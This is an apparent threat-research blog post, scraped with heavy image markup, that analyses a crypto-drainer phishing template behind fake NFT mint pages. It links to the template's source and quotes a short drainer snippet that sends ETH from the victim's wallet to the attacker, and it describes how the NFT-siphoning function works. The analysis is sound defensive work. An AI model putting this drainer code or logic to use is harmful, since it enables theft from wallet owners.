Theft]]></title><description><![CDATA[Crypto Drainers are phishing pages that lure victims into signing malicious transactions that allow the attacker to siphon their crypto and NFTs.]]></description><link>https://blog.confiant.com/p/how-one-crypto-drainer-template-facilitates-tens-of-millions-of-dollars-in-theft-66f3794aea4b</link><guid isPermaLink="false">https://blog.confiant.com/p/how-one-crypto-drainer-template-facilitates-tens-of-millions-of-dollars-in-theft-66f3794aea4b</guid><dc:creator><![CDATA[Confiant]]></dc:creator><pubDate>Wed, 15 Jun 2022 21:23:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!AQNg!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2d5c0d9-563a-429d-b975-c47200adfdf5_1000x667.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!AQNg!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2d5c0d9-563a-429d-b975-c47200adfdf5_1000x667.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!AQNg!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2d5c0d9-563a-429d-b975-c47200adfdf5_1000x667.jpeg 424w, https://substackcdn.com/image/fetch/$s_!AQNg!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2d5c0d9-563a-429d-b975-c47200adfdf5_1000x667.jpeg 848w, https://substackcdn.com/image/fetch/$s_!AQNg!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2d5c0d9-563a-429d-b975-c47200adfdf5_1000x667.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!AQNg!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2d5c0d9-563a-429d-b975-c47200adfdf5_1000x667.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!AQNg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2d5c0d9-563a-429d-b975-c47200adfdf5_1000x667.jpeg" width="1000" height="667" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c2d5c0d9-563a-429d-b975-c47200adfdf5_1000x667.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:667,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!AQNg!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2d5c0d9-563a-429d-b975-c47200adfdf5_1000x667.jpeg 424w, https://substackcdn.com/image/fetch/$s_!AQNg!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2d5c0d9-563a-429d-b975-c47200adfdf5_1000x667.jpeg 848w, https://substackcdn.com/image/fetch/$s_!AQNg!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2d5c0d9-563a-429d-b975-c47200adfdf5_1000x667.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!AQNg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc2d5c0d9-563a-429d-b975-c47200adfdf5_1000x667.jpeg 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>                                     Photo by <a href="https://medium.com/r/?url=https%3A%2F%2Funsplash.com%2F%40crmtphotography%3Futm_source%3Dunsplash%26utm_medium%3Dreferral%26utm_content%3DcreditCopyText">Michael Trimble</a> on <a href="https://medium.com/r/?url=https%3A%2F%2Funsplash.com%2Fs%2Fphotos%2Fdrain%3Futm_source%3Dunsplash%26utm_medium%3Dreferral%26utm_content%3DcreditCopyText">Unsplash</a></p><div><hr></div><p>Our <a href="https://medium.com/r/?url=https%3A%2F%2Fblog.confiant.com%2Fa-whirlwind-tour-of-crypto-phishing-8628da0a9e38">previous blog</a> provided an overview of Web3 phishing techniques and tactics, all of which continue to be relevant despite a recent economic downturn in the crypto markets. Today, we offer a deeper dive into a specific category of Web3 phishing pages called &#8220;Crypto Drainers&#8221; and one of the more prolific actors behind them. We will see how one Crypto Drainer template was responsible for over 2,000 ETH in losses in a short period of time.</p><p>Crypto Drainers are phishing pages that lure victims into signing malicious transactions that allow the attacker to siphon their crypto and NFTs. Typically these websites piggyback off of well known or emerging NFT projects. The websites themselves are primarily promoted via spam campaigns on social networks and Discord.</p><p>The way most crypto drainers work is relatively straight forward:</p><ul><li><p>Fake NFT minting pages with an artificial countdown to create urgency.</p></li><li><p>Victim connects their wallet to &#8220;mint&#8221;.</p></li><li><p>Check if the victim address owns any valuable NFTs.</p></li><li><p>Victim signs transaction(s) to transfer ownership of NFTs.</p></li><li><p>Victim sends a transaction to the attacker for the cost of the fake &#8220;mint&#8221;, but this transaction is not a contract interaction.</p></li><li><p>Rinse &amp; repeat.</p></li></ul><p>Let&#8217;s dig into a real example:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!4CtW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faff15a06-223e-49da-9791-091d15866752_1000x898.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!4CtW!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faff15a06-223e-49da-9791-091d15866752_1000x898.png 424w, https://substackcdn.com/image/fetch/$s_!4CtW!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faff15a06-223e-49da-9791-091d15866752_1000x898.png 848w, https://substackcdn.com/image/fetch/$s_!4CtW!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faff15a06-223e-49da-9791-091d15866752_1000x898.png 1272w, https://substackcdn.com/image/fetch/$s_!4CtW!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faff15a06-223e-49da-9791-091d15866752_1000x898.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!4CtW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faff15a06-223e-49da-9791-091d15866752_1000x898.png" width="1000" height="898" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/aff15a06-223e-49da-9791-091d15866752_1000x898.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:898,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!4CtW!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faff15a06-223e-49da-9791-091d15866752_1000x898.png 424w, https://substackcdn.com/image/fetch/$s_!4CtW!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faff15a06-223e-49da-9791-091d15866752_1000x898.png 848w, https://substackcdn.com/image/fetch/$s_!4CtW!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faff15a06-223e-49da-9791-091d15866752_1000x898.png 1272w, https://substackcdn.com/image/fetch/$s_!4CtW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faff15a06-223e-49da-9791-091d15866752_1000x898.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">hxxps://pandaverse-mint.ml/</figcaption></figure></div><p>Here&#8217;s the real website for comparison:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!sXQt!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e720717-d9b2-45ac-b916-af687357b62a_1000x909.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!sXQt!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e720717-d9b2-45ac-b916-af687357b62a_1000x909.png 424w, https://substackcdn.com/image/fetch/$s_!sXQt!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e720717-d9b2-45ac-b916-af687357b62a_1000x909.png 848w, https://substackcdn.com/image/fetch/$s_!sXQt!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e720717-d9b2-45ac-b916-af687357b62a_1000x909.png 1272w, https://substackcdn.com/image/fetch/$s_!sXQt!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e720717-d9b2-45ac-b916-af687357b62a_1000x909.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!sXQt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e720717-d9b2-45ac-b916-af687357b62a_1000x909.png" width="1000" height="909" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9e720717-d9b2-45ac-b916-af687357b62a_1000x909.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:909,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!sXQt!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e720717-d9b2-45ac-b916-af687357b62a_1000x909.png 424w, https://substackcdn.com/image/fetch/$s_!sXQt!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e720717-d9b2-45ac-b916-af687357b62a_1000x909.png 848w, https://substackcdn.com/image/fetch/$s_!sXQt!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e720717-d9b2-45ac-b916-af687357b62a_1000x909.png 1272w, https://substackcdn.com/image/fetch/$s_!sXQt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e720717-d9b2-45ac-b916-af687357b62a_1000x909.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>When we look at the code under the hood of the malicious site, we find that the whole thing is templated and includes deployment instructions, but more on that later. For now, let&#8217;s take a peak at how this thing works.</p><p>First we have <code>settings.js</code> which acts as a config file. The comments are not ours, but part of the Crypto Drainer template.</p><p><a href="https://gist.github.com/eliyastein/0f2f1fd0ae12570c90a8e0b4b72838b7#file-settings-js">https://gist.github.com/eliyastein/0f2f1fd0ae12570c90a8e0b4b72838b7#file-settings-js</a></p><p>And then we have <code>index.js</code> which includes the code responsible for the actual draining:</p><p><a href="https://gist.github.com/eliyastein/e11c184b518deb56b440e912d616c77e#file-index-js">https://gist.github.com/eliyastein/e11c184b518deb56b440e912d616c77e#file-index-js</a></p><p>We won&#8217;t go over the code line by line, but it&#8217;s worth highlighting two sections in particular. First, there is this snippet from the spurious mint function, which just sends ETH from the victim to the attacker:</p><pre><code>web3.eth.sendTransaction({
            from: walletAddress,
            to: address,
            value: web3.utils.toWei(amount, &#8220;ether&#8221;),
        })</code></pre><p>Remember, minting an NFT is almost always a smart contract interaction, and requires invoking at least one function call. It typically requires additional orchestration beyond transfer of value to invoke a smart contract method, which is completely absent from the code above.</p><p>The second snippet we want to highlight is the <code>askNfts()</code> function in the code above:</p><p><a href="https://gist.github.com/eliyastein/da326af2a69a1bd98e340c6be69e7d2d#file-asknft-js">https://gist.github.com/eliyastein/da326af2a69a1bd98e340c6be69e7d2d#file-asknft-js</a></p><p>Looks fishy doesn&#8217;t it? We can see how the attackers leverage the Moralis API in order to pull a record of the victim&#8217;s NFT ownership and cycle through them one at a time to siphon them off to a smart contract. Not to mention that pretty damning comment:</p><blockquote><p><em>//this is a SMART CONTRACT address, don&#8217;t replace or NFTs won&#8217;t come :)</em></p></blockquote><p>The role of the smart contract address here is not entirely clear as the source code is not verified and the bytecode analysis is outside of the scope of this post, furthermore this particular page hasn&#8217;t claimed any victims so there are no transactions to trace, but it&#8217;s noteworthy nonetheless seeing as we have examples of the same exact template moving NFTs to the attacker&#8217;s address directly and not an intermediate proxy contract.</p><p>In a few moments, we&#8217;ll see that we can&#8217;t take everything at face value in the world of Crypto Drainers, but for now we continue our investigation by trying out some OSINT searches to see what comes up. It&#8217;s clear as day that this is a recycled template that is likely being circulated around, so maybe we can find additional instances of it with a search on GitHub.</p><p>We do a search for <code>askMint</code> and come up with a treasure trove of hits:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!jv2r!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa65e61c1-47e4-44dc-aaaf-70e36c358f55_875x746.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!jv2r!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa65e61c1-47e4-44dc-aaaf-70e36c358f55_875x746.png 424w, https://substackcdn.com/image/fetch/$s_!jv2r!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa65e61c1-47e4-44dc-aaaf-70e36c358f55_875x746.png 848w, https://substackcdn.com/image/fetch/$s_!jv2r!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa65e61c1-47e4-44dc-aaaf-70e36c358f55_875x746.png 1272w, https://substackcdn.com/image/fetch/$s_!jv2r!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa65e61c1-47e4-44dc-aaaf-70e36c358f55_875x746.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!jv2r!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa65e61c1-47e4-44dc-aaaf-70e36c358f55_875x746.png" width="875" height="746" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a65e61c1-47e4-44dc-aaaf-70e36c358f55_875x746.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:746,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!jv2r!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa65e61c1-47e4-44dc-aaaf-70e36c358f55_875x746.png 424w, https://substackcdn.com/image/fetch/$s_!jv2r!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa65e61c1-47e4-44dc-aaaf-70e36c358f55_875x746.png 848w, https://substackcdn.com/image/fetch/$s_!jv2r!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa65e61c1-47e4-44dc-aaaf-70e36c358f55_875x746.png 1272w, https://substackcdn.com/image/fetch/$s_!jv2r!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa65e61c1-47e4-44dc-aaaf-70e36c358f55_875x746.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>We see that the same codebase has been employed by several dozen GitHub users and hosted on GitHub Pages:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!9W3s!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2de691a8-7d21-4a12-9fbf-09f41ce7e286_875x276.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!9W3s!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2de691a8-7d21-4a12-9fbf-09f41ce7e286_875x276.png 424w, https://substackcdn.com/image/fetch/$s_!9W3s!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2de691a8-7d21-4a12-9fbf-09f41ce7e286_875x276.png 848w, https://substackcdn.com/image/fetch/$s_!9W3s!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2de691a8-7d21-4a12-9fbf-09f41ce7e286_875x276.png 1272w, https://substackcdn.com/image/fetch/$s_!9W3s!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2de691a8-7d21-4a12-9fbf-09f41ce7e286_875x276.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!9W3s!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2de691a8-7d21-4a12-9fbf-09f41ce7e286_875x276.png" width="875" height="276" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2de691a8-7d21-4a12-9fbf-09f41ce7e286_875x276.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:276,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!9W3s!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2de691a8-7d21-4a12-9fbf-09f41ce7e286_875x276.png 424w, https://substackcdn.com/image/fetch/$s_!9W3s!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2de691a8-7d21-4a12-9fbf-09f41ce7e286_875x276.png 848w, https://substackcdn.com/image/fetch/$s_!9W3s!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2de691a8-7d21-4a12-9fbf-09f41ce7e286_875x276.png 1272w, https://substackcdn.com/image/fetch/$s_!9W3s!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2de691a8-7d21-4a12-9fbf-09f41ce7e286_875x276.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft 